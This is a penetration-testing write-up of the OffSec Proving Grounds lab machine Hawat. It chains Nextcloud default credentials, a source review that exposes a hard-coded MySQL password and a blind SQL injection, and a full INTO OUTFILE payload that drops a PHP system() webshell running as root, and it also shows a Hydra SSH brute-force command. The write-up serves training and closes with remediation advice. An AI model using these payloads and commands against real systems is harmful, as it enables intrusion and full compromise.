PT1 certified | OSCP in progress

Hawat – OffSec Practice Writeup

Hawat OffSec Proving Grounds Practice writeup cover

This Hawat OffSec Practice writeup walks through the Proving Grounds Linux machine: Nextcloud default credentials, a source code review that exposes a blind SQL injection, and a MySQL INTO OUTFILE webshell that runs as root.

Summary

Hawat runs three web applications on non-standard ports: a Java issue tracker served by Apache Tomcat, an nginx site with a leftover phpinfo.php, and an Apache site that hides a Nextcloud instance. Nextcloud accepts its default administrator credentials and stores the issue tracker’s source code. Reading that code reveals a SQL injection in an endpoint that never returns the query result. That sounds useless at first, but the backend is MySQL with file write privileges, so the injection can still write a PHP webshell to disk. We drop it into the document root of the nginx site, whose path phpinfo() leaks, and because that web server runs as root the webshell is a full compromise with no separate privilege escalation.


Reconnaissance

Port scanning

We start with a full TCP port scan. RustScan sweeps all 65,535 ports very quickly and passes the open ones to Nmap. Everything after -- is handed to Nmap: -A enables service and version detection, default NSE scripts, OS detection and traceroute, and -oN target saves the output in normal format.

rustscan -a 192.168.166.147 -- -A -oN target
PORTSERVICEINFO
22/tcpOpenSSH 8.4 (protocol 2.0)–
17445/tcpApache TomcatHTTP title Issue Tracker; methods GET, HEAD, OPTIONS
30455/tcpnginx 1.18.0HTTP title W3.CSS; methods GET, HEAD, POST
50080/tcpApache httpd 2.4.46 ((Unix) PHP/7.4.15)HTTP title W3.CSS Template; TRACE enabled

OS fingerprinting points to a Linux 4.x/5.x kernel. The interesting part is the attack surface: three different web servers on one host, all on high ports. That is a strong hint that the services are meant to be chained, so we enumerate each one before going deep on any of them.

Port 17445: the Issue Tracker

The Tomcat application is an issue tracker with Login and Register buttons. Self-registration is open, so we create a user called test. Once logged in we can see a user panel listing the user clinton, and the panel lets us change passwords. We take over clinton‘s account, but it has no interesting privileges.

Since we now had a valid username, we started an SSH brute force in the background with Hydra. -l sets a single login name, -P takes a password list (here rockyou.txt), and ssh:// selects the SSH module:

hydra -l clinton -P /usr/share/wordlists/rockyou.txt ssh://192.168.166.147

This turned out to be a dead end. Brute forcing SSH with a large wordlist is slow and rarely the intended path on these machines, so it is best left running in the background while you keep enumerating.

Port 30455: nginx and phpinfo

This port serves an odd discounts page. Content discovery finds phpinfo.php, a page that calls PHP’s phpinfo() function and dumps the full runtime configuration: loaded modules, environment variables, and the $_SERVER array. The value we care about is DOCUMENT_ROOT, the directory this web server serves files from: /srv/http. That is the default web root on Arch-based systems, not the /var/www/html you might guess. Keep it in mind, because it becomes the target path for our webshell later.

Port 50080: Apache and a hidden Nextcloud

The Apache site is a custom pizza page with nothing obvious on it, so we brute force directories with feroxbuster:

feroxbuster -u http://192.168.166.147:50080 \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x php,html,txt,log,bak -C 404,403 -o page3
  • -u is the target URL and -w is the wordlist (the DirBuster medium list from SecLists).
  • -x php,html,txt,log,bak appends each extension to every word, so we also find files such as config.php.bak, not only directories.
  • -C 404,403 filters out "not found" and "forbidden" responses to keep the output readable.
  • -o page3 saves the results to a file.

The scan uncovers a login page at /cloud.


Initial access

Nextcloud with default credentials

/cloud is a Nextcloud instance. Nextcloud is a self-hosted, PHP-based file sync and sharing platform, similar to a private Dropbox. Admin panels like this are often deployed with weak credentials, so the first thing to try is the default pair, and admin:admin works.

Once inside, we browse the administrator’s files. File sharing platforms are a favourite dumping ground for backups, configuration exports and source code, and this one is no exception: it holds issuetracker.zip, the full source code of the issue tracker running on port 17445. We download it and start reading.

Source code review: finding the SQL injection

The project is a Spring Boot application. Most data access goes through JPA (Spring’s ORM layer), which builds safe, parameterized queries. In issuetracker/src/main/java/com/issue/tracker/issues/IssueController.java, however, there is a custom handler that bypasses JPA and talks to the database directly:

@GetMapping("/issue/checkByPriority")
public String checkByPriority(@RequestParam("priority") String priority, Model model) {
    //
    // Custom code, need to integrate to the JPA
    //
    Properties connectionProps = new Properties();
    connectionProps.put("user", "issue_user");
    connectionProps.put("password", "ManagementInsideOld797");
    try {
        conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/issue_tracker",connectionProps);
        String query = "SELECT message FROM issue WHERE priority='"+priority+"'";
        System.out.println(query);
        Statement stmt = conn.createStatement();
        stmt.executeQuery(query);
    } catch (SQLException e1) {
        // TODO Auto-generated catch block
        e1.printStackTrace();
    }

    // TODO: Return the list of the issues with the correct priority
    List<Issue> issues = service.GetAll();
    model.addAttribute("issuesList", issues);
    return "issue_index";
}

There are several problems in a few lines:

  1. Hard-coded database credentials. The MySQL user issue_user and its password are embedded in the source code.
  2. String concatenation into SQL. @GetMapping maps the handler to GET /issue/checkByPriority, and @RequestParam("priority") takes the value straight from the priority query string parameter. That value is glued into the SQL string between single quotes. Because a plain Statement is used instead of a PreparedStatement with bound parameters, any quote we send closes the string literal and the rest of our input is parsed as SQL. This is a textbook SQL injection.
  3. The result is discarded. stmt.executeQuery(query) runs the query, but its ResultSet is never read. The page always renders service.GetAll(), the full issue list. Whatever we SELECT is never shown, so this is a blind injection.

Why a blind injection still gives code execution

With no output we cannot simply dump tables. MySQL, however, has SELECT ... INTO OUTFILE '<path>', which writes a query’s result to a file on the database server’s filesystem. The write is done by the database server itself, so it happens whether or not the application ever looks at the result. If MySQL runs on the same host as a web server and can write to that web server’s document root, we can write a PHP file there and then request it over HTTP.

A few conditions must hold, and on Hawat they all do:

  • The DB user needs the FILE privilege, and the secure_file_priv setting must not restrict writes to a single directory.
  • The target directory must be writable by the mysqld process, and the file must not already exist (INTO OUTFILE never overwrites).
  • Our UNION SELECT must return the same number of columns as the original query. The original selects one column (message), so we select exactly one value: the PHP code.

The document root is the one phpinfo.php disclosed on port 30455: /srv/http. Note that the database writes the file, but a completely different service (nginx with PHP) will execute it.

Building the payload

Here is the injection, which goes into the priority parameter:

' UNION SELECT '<?php echo system($_REQUEST["cmd"]); ?>' INTO OUTFILE '/srv/http/shell.php'-- -

Piece by piece:

  • ' closes the string literal opened by priority=' in the original query, so the backend now runs SELECT message FROM issue WHERE priority='', which matches nothing.
  • UNION SELECT '<?php ... ?>' appends a second, single-column result row that contains our PHP code as a plain string.
  • <?php echo system($_REQUEST["cmd"]); ?> is a minimal webshell. $_REQUEST reads the cmd parameter from either GET or POST, system() runs it as an OS command, and the output is printed into the HTTP response.
  • INTO OUTFILE '/srv/http/shell.php' tells MySQL to write the combined result set to that file, inside the nginx document root.
  • -- - starts a SQL comment, which neutralises the trailing ' that the original query adds after our input. Without it the statement ends with an unbalanced quote and fails. The extra - is there because MySQL requires a space after --, and trailing spaces are easily lost in URLs.

The resulting statement executed by the server is:

SELECT message FROM issue WHERE priority='' UNION SELECT '<?php echo system($_REQUEST["cmd"]); ?>' INTO OUTFILE '/srv/http/shell.php'-- -'

Make sure you use straight ASCII quotes. Payloads copied from notes or blogs often end up with typographic quotes (‘ ’ “ ”), which MySQL does not recognise as string delimiters.

The payload must be URL-encoded because it contains spaces, quotes, <, >, $ and ?. The request has this shape:

http://192.168.166.147:17445/issue/checkByPriority?priority=<URL-ENCODED-PAYLOAD>

You can encode it with Burp Suite’s encoder, CyberChef, or by letting curl’s --data-urlencode handle it. The application responds with the normal issue list, as expected for a blind sink, but the file has now been written.


Privilege escalation

There is nothing to escalate. The webshell is served by the web server on port 30455, so we request it and pass a command in cmd:

http://192.168.166.147:30455/shell.php?cmd=whoami
root

The command runs as root. A webshell always runs as the user of the web server (or PHP worker) that executes the file, not as the mysql user that wrote it. Here that web server runs as root, so a single SQL injection ends in full system compromise. From this point we can read both flags and, if we want an interactive session, send a reverse shell one-liner through the same cmd parameter.


Conclusion

Hawat shows how several small weaknesses spread across co-hosted services chain into a full compromise:

  • Default credentials on Nextcloud exposed internal data that should never have been stored there: the full source of another production application.
  • Hard-coded secrets and string-concatenated SQL in that source turned a code review into a working exploit. The TODO comments show unfinished code that shipped to production.
  • "No output" is not "not exploitable". The application discarded the query result, but MySQL’s FILE privilege, a permissive secure_file_priv and a writable web root turned the blind injection into a file write primitive.
  • Information disclosure through phpinfo.php provided the exact path needed to turn that file write into code execution.
  • Running the web server as root removed the last barrier, so one webshell meant total compromise.

To fix it: change default credentials and enforce 2FA on Nextcloud; never store source code or secrets in file shares; use PreparedStatement with bound parameters; move credentials out of code into a secrets store; give the application’s database user only the privileges it needs (no FILE) and point secure_file_priv at a directory outside any web root; remove phpinfo.php; and run web servers and PHP workers as unprivileged users with no write access to document roots.


Lessons learned

  • Loot from one service often unlocks another. On machines with several web ports, treat file shares and cloud panels as a source of source code and credentials for the sibling applications.
  • Source code review beats blind fuzzing. Grep downloaded source for hard-coded credentials, DriverManager/Statement, and string concatenation inside SQL.
  • Blind SQL injection on MySQL can still give RCE. INTO OUTFILE works even when the result is never rendered; match the column count and close the trailing quote with -- -.
  • The web root can belong to a different service. The database can write into any web server’s document root on the same host, and phpinfo() (DOCUMENT_ROOT) tells you where it is.
  • Check who serves the file. The webshell runs as the web server’s user, not as mysql. Run whoami first, because it may already be root.
  • SSH brute force was a dead end. Keep hydra as a background last resort and continue enumerating the web surface.
Index